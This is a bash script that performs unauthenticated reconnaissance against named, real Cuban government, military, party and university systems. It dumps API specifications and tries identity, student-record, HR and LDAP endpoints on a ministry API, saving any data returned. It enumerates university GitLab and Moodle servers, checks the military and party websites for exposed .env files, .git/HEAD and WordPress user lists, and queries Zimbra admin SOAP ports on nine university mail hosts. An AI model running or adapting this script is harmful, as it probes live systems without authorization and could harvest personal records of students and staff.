#!/bin/bash
mkdir -p /tmp/uni-probe/mes-api

MODULES="homologation identity nomenclator notification statistic postgrade sigenu rrhh structure fuc ldap portal general"

for mod in $MODULES; do
  echo "=== Dumping /api/${mod}/v3/api-docs ==="
  curl -sk --connect-timeout 5 --max-time 20 "https://api.mes.gob.cu/api/${mod}/v3/api-docs" > "/tmp/uni-probe/mes-api/${mod}-api-docs.json" 2>/dev/null
  size=$(wc -c < "/tmp/uni-probe/mes-api/${mod}-api-docs.json")
  echo "  ${mod}: ${size}B"
done

echo ""
echo "=== PARSING ENDPOINTS ==="
python3 << 'PYEOF'
import json, os, glob

apidir = "/tmp/uni-probe/mes-api"
for f in sorted(glob.glob(os.path.join(apidir, "*-api-docs.json"))):
    mod = os.path.basename(f).replace("-api-docs.json", "")
    try:
        with open(f) as fh:
            d = json.load(fh)
        paths = d.get("paths", {})
        schemas = d.get("components", {}).get("schemas", {})
        print(f"\n--- {mod} ({len(paths)} endpoints, {len(schemas)} schemas) ---")
        for p in sorted(paths.keys()):
            methods = [m.upper() for m in paths[p].keys() if m in ("get","post","put","delete","patch")]
            print(f"  {' '.join(methods):10s} {p}")
        if schemas:
            print(f"  Schemas: {', '.join(sorted(schemas.keys())[:20])}")
            if len(schemas) > 20:
                print(f"  ... and {len(schemas)-20} more schemas")
    except Exception as e:
        print(f"\n--- {mod}: ERROR ({e}) ---")
PYEOF

echo ""
echo "=== NOW TRYING TO HIT ENDPOINTS WITHOUT AUTH ==="

# Try identity endpoints
echo "--- Identity module ---"
for ep in "/api/identity/users" "/api/identity/roles" "/api/identity/v1/users" "/api/identity/user" "/api/identity/"; do
  code=$(curl -sk -o /tmp/id_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    cp /tmp/id_resp "/tmp/uni-probe/mes-api/identity-hit-$(echo "$ep" | tr '/' '_').json"
    head -c 500 /tmp/id_resp
    echo ""
  fi
done

# Try sigenu (student records) endpoints
echo "--- SIGENU module ---"
for ep in "/api/sigenu/students" "/api/sigenu/v1/students" "/api/sigenu/careers" "/api/sigenu/courses" "/api/sigenu/"; do
  code=$(curl -sk -o /tmp/sig_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    cp /tmp/sig_resp "/tmp/uni-probe/mes-api/sigenu-hit-$(echo "$ep" | tr '/' '_').json"
    head -c 500 /tmp/sig_resp
    echo ""
  fi
done

# Try rrhh (HR) endpoints
echo "--- RRHH module ---"
for ep in "/api/rrhh/employees" "/api/rrhh/v1/employees" "/api/rrhh/workers" "/api/rrhh/persons" "/api/rrhh/"; do
  code=$(curl -sk -o /tmp/rrhh_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    cp /tmp/rrhh_resp "/tmp/uni-probe/mes-api/rrhh-hit-$(echo "$ep" | tr '/' '_').json"
    head -c 500 /tmp/rrhh_resp
    echo ""
  fi
done

# Try LDAP endpoints
echo "--- LDAP module ---"
for ep in "/api/ldap/users" "/api/ldap/v1/users" "/api/ldap/groups" "/api/ldap/search" "/api/ldap/"; do
  code=$(curl -sk -o /tmp/ldap_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    cp /tmp/ldap_resp "/tmp/uni-probe/mes-api/ldap-hit-$(echo "$ep" | tr '/' '_').json"
    head -c 500 /tmp/ldap_resp
    echo ""
  fi
done

# Try nomenclator endpoints
echo "--- Nomenclator module ---"
for ep in "/api/nomenclator/countries" "/api/nomenclator/provinces" "/api/nomenclator/municipalities" "/api/nomenclator/universities" "/api/nomenclator/careers" "/api/nomenclator/"; do
  code=$(curl -sk -o /tmp/nom_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    cp /tmp/nom_resp "/tmp/uni-probe/mes-api/nomenclator-hit-$(echo "$ep" | tr '/' '_').json"
    head -c 500 /tmp/nom_resp
    echo ""
  fi
done

# Try statistic endpoints
echo "--- Statistic module ---"
for ep in "/api/statistic/reports" "/api/statistic/enrollment" "/api/statistic/graduates" "/api/statistic/"; do
  code=$(curl -sk -o /tmp/stat_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    cp /tmp/stat_resp "/tmp/uni-probe/mes-api/statistic-hit-$(echo "$ep" | tr '/' '_').json"
    head -c 500 /tmp/stat_resp
    echo ""
  fi
done

# Try structure endpoints
echo "--- Structure module ---"
for ep in "/api/structure/institutions" "/api/structure/faculties" "/api/structure/departments" "/api/structure/organizations" "/api/structure/"; do
  code=$(curl -sk -o /tmp/str_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    cp /tmp/str_resp "/tmp/uni-probe/mes-api/structure-hit-$(echo "$ep" | tr '/' '_').json"
    head -c 500 /tmp/str_resp
    echo ""
  fi
done

# Try postgrade endpoints
echo "--- Postgrade module ---"
for ep in "/api/postgrade/programs" "/api/postgrade/students" "/api/postgrade/degrees" "/api/postgrade/"; do
  code=$(curl -sk -o /tmp/pg_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://api.mes.gob.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    cp /tmp/pg_resp "/tmp/uni-probe/mes-api/postgrade-hit-$(echo "$ep" | tr '/' '_').json"
    head -c 500 /tmp/pg_resp
    echo ""
  fi
done

echo ""
echo "=== ALSO PROBING OTHER LIVE TARGETS ==="

# gitlab.ult.edu.cu
echo "--- gitlab.ult.edu.cu ---"
for ep in "/" "/api/v4/projects?per_page=100" "/explore" "/users/sign_in" "/-/graphql"; do
  code=$(curl -sk -o /tmp/glt_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://gitlab.ult.edu.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 100 ] 2>/dev/null; then
    safename=$(echo "gitlab_ult${ep}" | tr '/:?=.' '_')
    cp /tmp/glt_resp "/tmp/uni-probe/mes-api/${safename}.json"
    head -c 500 /tmp/glt_resp
    echo ""
  fi
done

# gitlab.uh.cu (University of Havana)
echo "--- gitlab.uh.cu ---"
for ep in "/" "/api/v4/projects?per_page=100" "/explore" "/users/sign_in"; do
  code=$(curl -sk -o /tmp/guh_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://gitlab.uh.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  if [ "$http" = "200" ] && [ "$sz" -gt 100 ] 2>/dev/null; then
    safename=$(echo "gitlab_uh${ep}" | tr '/:?=.' '_')
    cp /tmp/guh_resp "/tmp/uni-probe/mes-api/${safename}.json"
    head -c 500 /tmp/guh_resp
    echo ""
  fi
done

# moodle.umcc.cu (Matanzas)
echo "--- moodle.umcc.cu ---"
for ep in "/" "/webservice/rest/server.php?wsfunction=core_webservice_get_site_info&moodlewsrestformat=json" "/lib/ajax/service.php" "/login/index.php"; do
  code=$(curl -sk -o /tmp/moo_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://moodle.umcc.cu${ep}" 2>/dev/null)
  echo "  ${ep} -> ${code}"
done

# minfar.gob.cu (MILITARY)
echo "--- minfar.gob.cu ---"
for ep in "/" "/.env" "/.git/HEAD" "/wp-json/wp/v2/users" "/robots.txt" "/admin/" "/wp-login.php" "/xmlrpc.php" "/feed/" "/sitemap.xml"; do
  code=$(curl -sk -o /tmp/mil_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://minfar.gob.cu${ep}" 2>/dev/null)
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  echo "  ${ep} -> ${code}"
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    safename=$(echo "minfar${ep}" | tr '/:.' '_')
    cp /tmp/mil_resp "/tmp/uni-probe/mes-api/${safename}.txt"
    case "$ep" in
      *users*|*\.env*|*\.git*|*robots*|*feed*|*sitemap*)
        head -c 1000 /tmp/mil_resp
        echo ""
        ;;
    esac
  fi
done

# pcc.cu (Communist Party)
echo "--- pcc.cu ---"
for ep in "/" "/.env" "/.git/HEAD" "/wp-json/wp/v2/users" "/robots.txt" "/admin/" "/wp-login.php" "/xmlrpc.php"; do
  code=$(curl -sk -o /tmp/pcc_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://pcc.cu${ep}" 2>/dev/null)
  http=$(echo "$code" | cut -d'|' -f1)
  sz=$(echo "$code" | cut -d'|' -f2)
  echo "  ${ep} -> ${code}"
  if [ "$http" = "200" ] && [ "$sz" -gt 50 ] 2>/dev/null; then
    safename=$(echo "pcc${ep}" | tr '/:.' '_')
    cp /tmp/mil_resp "/tmp/uni-probe/mes-api/${safename}.txt"
    case "$ep" in
      *users*|*\.env*|*\.git*|*robots*)
        head -c 1000 /tmp/pcc_resp
        echo ""
        ;;
    esac
  fi
done

# correo servers - Zimbra checks
echo "--- Zimbra mail servers ---"
for host in correo.uo.edu.cu correo.upr.edu.cu correo.uho.edu.cu correo.ult.edu.cu correo.cujae.edu.cu correo.ucf.edu.cu correo.unica.cu correo.reduc.edu.cu correo.ucm.edu.cu; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 7 "https://${host}/" 2>/dev/null)
  if [ "$code" = "000" ]; then
    code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 7 "http://${host}/" 2>/dev/null)
  fi
  if [ "$code" != "000" ]; then
    echo "  [LIVE] $host (HTTP $code)"
    # Check Zimbra SOAP
    soap=$(curl -sk --connect-timeout 4 --max-time 8 -H "Content-Type: application/soap+xml" \
      -d '<?xml version="1.0" ?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><GetVersionInfoRequest xmlns="urn:zimbraAdmin"/></soap:Body></soap:Envelope>' \
      "https://${host}:7071/service/admin/soap" 2>/dev/null)
    if echo "$soap" | grep -qi "zimbra\|version"; then
      echo "    [ZIMBRA ADMIN SOAP] $host - VERSION LEAKED!"
      echo "$soap" > "/tmp/uni-probe/mes-api/zimbra-admin-${host}.txt"
      echo "$soap" | head -c 500
    fi
  else
    echo "  [DOWN] $host"
  fi
done

echo ""
echo "=== FINAL FILE LISTING ==="
ls -la /tmp/uni-probe/mes-api/
echo ""
wc -c /tmp/uni-probe/mes-api/* 2>/dev/null
